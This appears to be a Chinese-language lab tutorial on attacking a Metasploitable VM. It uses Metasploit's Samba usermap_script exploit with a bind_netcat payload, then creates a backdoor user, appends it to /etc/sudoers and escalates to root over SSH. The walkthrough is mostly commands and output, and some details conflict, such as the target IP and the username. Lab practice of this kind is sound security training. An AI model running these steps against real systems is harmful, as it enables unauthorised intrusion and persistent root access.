Metasploit简单入侵
实验环境
角色 | 操作系统 | IP地址 | 需要工具 |
---|---|---|---|
攻击机 | windows server 2008 | 192.168.133.148 | Metasploit |
靶机 | Metasploitable_ubuntu-book | 192.168.133.157 | 无 |
准备工作
攻击机准备工作
1.1. 安装Metasploit
,默认安装在C:\metasploit-framework
靶机准备工作
2.1 解压Metasploitable_ubuntu-book.zip
2.2 使用VMware打开解压出来的虚拟机文件
2.3 登录靶机,用户:root
,密码:ubuntu
2.4. 配置IP地址,命令如下root@metasploitable:~# ifconfig eth0 192.168.133.157
2.5. 测试与攻击机是否连通
入侵步骤
打开Metasploit主界面
步骤:在攻击机找到
Metasploit
安装目录下的bin
文件夹,打开msfconsole.bat。默认文件夹位置为C:\metasploit-framework\bin
,查询可利用的samba攻击模块,命令如下
msf>search samba
找到“exploit/multi/samba/usermap_script
,调用该攻击模块,命令如下msf > use exploit/multi/samba/usermap_script msf exploit(multi/samba/usermap_script) >
查询该模块下可用的攻击载荷,命令如下
msf exploit(multi/samba/usermap_script) > show payloads
找到
cmd/unix/bind_netcat
,调用该攻击载荷,命令如下msf exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat payload => cmd/unix/bind_netcat
设置攻击目标为192.168.133.157,命令如下
msf exploit(multi/samba/usermap_script) > set RHOST 192.168.133.157
显示所有设置,确认配置无误,命令如下
msf exploit(multi/samba/usermap_script) > show options Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
RHOST 192.168.133.157 yes The target address
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/bind_netcat):
Name Current Setting Required Description
LPORT 4444 yes The listen port
RHOST 192.168.133.157 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
```
开始攻击,命令如下
msf exploit(multi/samba/usermap_script) > exploit [*] Started bind handler
[*] Command shell session 1 opened (192.168.133.148:58723 -> 192.168.133.160:444
4) at 2018-03-13 17:29:22 +0800入侵已经完成,测试在靶机创建后台用户
test
,密码123
,并提升为管理员,命令如下useradd test passwd test
echo "test ALL=(ALL) ALL" >> /etc/sudoers使用SSH终端工具连接靶机,用户名和密码为刚刚创建的后台用户,终端输出结果如下
test@metasploitable:~$
提权为管理员,身份已经变成root用户,命令如下
ttt@metasploitable:~$ sudo su - root@metasploitable:~#